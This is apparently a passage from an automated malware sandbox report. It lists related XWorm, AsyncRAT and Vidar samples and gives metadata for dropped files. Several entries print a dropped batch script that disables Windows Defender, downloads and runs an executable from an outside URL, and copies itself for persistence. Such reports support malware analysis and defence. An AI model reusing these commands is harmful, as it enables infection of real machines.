	YgJ5inWPQO.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	147.185.221.18
	dr2YKJiGH9.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	KJhsNv2RcI.exe	Get hash	malicious	XWorm	Browse	147.185.221.24
	PjGz899RZV.exe	Get hash	malicious	XWorm	Browse	147.185.221.24

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	ChoForgot.exe	Get hash	malicious	Vidar	Browse	185.151.51.214
	payment_3493.pdf	Get hash	malicious	Unknown	Browse	185.151.51.214
	1lhZVZx5nD.exe	Get hash	malicious	Stealc, Vidar	Browse	185.151.51.214
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	185.151.51.214
	acronis recovery expert deluxe 1.0.0.132.rarl.exe	Get hash	malicious	LummaC	Browse	185.151.51.214
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	185.151.51.214
	Ref#20203216.exe	Get hash	malicious	AgentTesla	Browse	185.151.51.214
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	185.151.51.214
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	185.151.51.214
	nTyPEbq9wQ.lnk	Get hash	malicious	Unknown	Browse	185.151.51.214

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat

Download File

Process:	C:\Users\user\Desktop\WO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2513
Entropy (8bit):	4.996405902922014
Encrypted:	false
SSDEEP:	48:RzZ+iRM0nUOpqeld8wXm/Nld5cn/W5ktwKOvV4vGSkt0:COUiZDVm/NDyHwK+n0
MD5:	C0E9BC2DFFF6E08DF8196809B9BBF253
SHA1:	006E88EA359145C40A6BBCA55E6F21B387999255
SHA-256:	43C1DFAFAC6C340F420057606F317C2D0D3182C04F1A9C76B782F818C85F4F11
SHA-512:	5B0C012ACA5479BF3B8852E1504465CCB2AD6CE4134EE8D2AD57C898FD91AC19F96A669EBC3A9201E65099ED1723F4515B48CA25EA21681AD45377CE3D9CA60C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat, Author: Joe Security
Preview:	@shift /0..@echo off....:: Disable Windows Defender Real-Time Protection immediately..powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"..echo Real-Time Protection disabled immediately.....:: Check and delete existing reddit.exe in %temp%..if exist "%temp%\reddit.exe" (.. del /f /q "%temp%\reddit.exe".. echo Previous reddit.exe deleted...)....:: Download reddit.exe..powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', '%temp%\reddit.exe')"..echo reddit.exe downloaded.....:: Run reddit.exe minimized..start "" /min "%temp%\reddit.exe"..echo reddit.exe is now running.....:: Create the HiddenScripts folder (not hidden but still in AppData)..set "hiddenDir=%appdata%\HiddenScripts"..mkdir "%hiddenDir%" >nul 2>&1....:: Copy this script to HiddenScripts and make it accessible..set "originalScript=%~nx0"..copy "%~f0" "%hiddenDir%\%originalScript%" /Y >nul..attrib -h "%hiddenDir%\%ori

C:\Users\user\AppData\Local\Temp\481A.tmp\481B.tmp\481C.bat

Download File

Process:	C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2513
Entropy (8bit):	4.996405902922014
Encrypted:	false
SSDEEP:	48:RzZ+iRM0nUOpqeld8wXm/Nld5cn/W5ktwKOvV4vGSkt0:COUiZDVm/NDyHwK+n0
MD5:	C0E9BC2DFFF6E08DF8196809B9BBF253
SHA1:	006E88EA359145C40A6BBCA55E6F21B387999255
SHA-256:	43C1DFAFAC6C340F420057606F317C2D0D3182C04F1A9C76B782F818C85F4F11
SHA-512:	5B0C012ACA5479BF3B8852E1504465CCB2AD6CE4134EE8D2AD57C898FD91AC19F96A669EBC3A9201E65099ED1723F4515B48CA25EA21681AD45377CE3D9CA60C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\481A.tmp\481B.tmp\481C.bat, Author: Joe Security
Preview:	@shift /0..@echo off....:: Disable Windows Defender Real-Time Protection immediately..powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"..echo Real-Time Protection disabled immediately.....:: Check and delete existing reddit.exe in %temp%..if exist "%temp%\reddit.exe" (.. del /f /q "%temp%\reddit.exe".. echo Previous reddit.exe deleted...)....:: Download reddit.exe..powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', '%temp%\reddit.exe')"..echo reddit.exe downloaded.....:: Run reddit.exe minimized..start "" /min "%temp%\reddit.exe"..echo reddit.exe is now running.....:: Create the HiddenScripts folder (not hidden but still in AppData)..set "hiddenDir=%appdata%\HiddenScripts"..mkdir "%hiddenDir%" >nul 2>&1....:: Copy this script to HiddenScripts and make it accessible..set "originalScript=%~nx0"..copy "%~f0" "%hiddenDir%\%originalScript%" /Y >nul..attrib -h "%hiddenDir%\%ori

C:\Users\user\AppData\Local\Temp\6F6D.tmp\6F7E.tmp\6F7F.bat

Download File

Process:	C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2513
Entropy (8bit):	4.996405902922014
Encrypted:	false
SSDEEP:	48:RzZ+iRM0nUOpqeld8wXm/Nld5cn/W5ktwKOvV4vGSkt0:COUiZDVm/NDyHwK+n0
MD5:	C0E9BC2DFFF6E08DF8196809B9BBF253
SHA1:	006E88EA359145C40A6BBCA55E6F21B387999255
SHA-256:	43C1DFAFAC6C340F420057606F317C2D0D3182C04F1A9C76B782F818C85F4F11
SHA-512:	5B0C012ACA5479BF3B8852E1504465CCB2AD6CE4134EE8D2AD57C898FD91AC19F96A669EBC3A9201E65099ED1723F4515B48CA25EA21681AD45377CE3D9CA60C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\6F6D.tmp\6F7E.tmp\6F7F.bat, Author: Joe Security
Preview:	@shift /0..@echo off....:: Disable Windows Defender Real-Time Protection immediately..powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"..echo Real-Time Protection disabled immediately.....:: Check and delete existing reddit.exe in %temp%..if exist "%temp%\reddit.exe" (.. del /f /q "%temp%\reddit.exe".. echo Previous reddit.exe deleted...)....:: Download reddit.exe..powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', '%temp%\reddit.exe')"..echo reddit.exe downloaded.....:: Run reddit.exe minimized..start "" /min "%temp%\reddit.exe"..echo reddit.exe is now running.....:: Create the HiddenScripts folder (not hidden but still in AppData)..set "hiddenDir=%appdata%\HiddenScripts"..mkdir "%hiddenDir%" >nul 2>&1....:: Copy this script to HiddenScripts and make it accessible..set "originalScript=%~nx0"..copy "%~f0" "%hiddenDir%\%originalScript%" /Y >nul..attrib -h "%hiddenDir%\%ori

C:\Users\user\AppData\Local\Temp\7038.tmp\7039.tmp\703A.bat

Download File

Process:	C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2513
Entropy (8bit):	4.996405902922014
Encrypted:	false
SSDEEP:	48:RzZ+iRM0nUOpqeld8wXm/Nld5cn/W5ktwKOvV4vGSkt0:COUiZDVm/NDyHwK+n0
MD5:	C0E9BC2DFFF6E08DF8196809B9BBF253
SHA1:	006E88EA359145C40A6BBCA55E6F21B387999255
SHA-256:	43C1DFAFAC6C340F420057606F317C2D0D3182C04F1A9C76B782F818C85F4F11
SHA-512:	5B0C012ACA5479BF3B8852E1504465CCB2AD6CE4134EE8D2AD57C898FD91AC19F96A669EBC3A9201E65099ED1723F4515B48CA25EA21681AD45377CE3D9CA60C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\7038.tmp\7039.tmp\703A.bat, Author: Joe Security
Preview:	@shift /0..@echo off....:: Disable Windows Defender Real-Time Protection immediately..powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"..echo Real-Time Protection disabled immediately.....:: Check and delete existing reddit.exe in %temp%..if exist "%temp%\reddit.exe" (.. del /f /q "%temp%\reddit.exe".. echo Previous reddit.exe deleted...)....:: Download reddit.exe..powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', '%temp%\reddit.exe')"..echo reddit.exe downloaded.....:: Run reddit.exe minimized..start "" /min "%temp%\reddit.exe"..echo reddit.exe is now running.....:: Create the HiddenScripts folder (not hidden but still in AppData)..set "hiddenDir=%appdata%\HiddenScripts"..mkdir "%hiddenDir%" >nul 2>&1....:: Copy this script to HiddenScripts and make it accessible..set "originalScript=%~nx0"..copy "%~f0" "%hiddenDir%\%originalScript%" /Y >nul..attrib -h "%hiddenDir%\%ori

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0k3twh3c.fd1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_10cpq2nh.nne.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1polcjk3.gxm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_40s0jnae.fy1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_54ybvrq0.kje.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5i5sg14g.hyw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_amyahbs4.chd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bqzg3yaq.pyo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cj2b3qia.pwx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fxxzjzf4.5ut.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gw05wxyu.idw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hvcw04ar.dvp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k4e5dj1m.ngi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kblrfivv.nq4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lepjhn4s.xsy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mfhd4ars.smv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkwhofof.0vp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mqxfib4i.yrz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_osp5dsxj.5li.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q1vaoogw.zom.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rruck55l.m3v.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sxubr5ga.clf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wdvwz1i5.pnf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
